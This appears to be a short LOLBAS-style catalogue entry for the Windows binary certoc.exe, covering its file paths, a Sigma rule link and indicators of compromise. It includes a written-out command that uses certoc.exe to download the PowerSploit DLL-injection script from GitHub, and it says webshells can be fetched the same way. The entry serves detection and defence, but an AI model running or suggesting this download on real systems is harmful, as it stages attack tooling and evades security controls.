Used for installing certificates
certoc.exe -GetCACAPS https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-DllInjection.ps1
Downloads text formatted files
Download scripts, webshells etc.
c:\windows\system32\certoc.exe, c:\windows\syswow64\certoc.exe
Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certoc_load_dll.yml, IOC: Process creation with given parameter, IOC: Unsigned DLL load via certoc.exe, IOC: Network connection via certoc.exe
Ensar Samil (@sblmsrsn)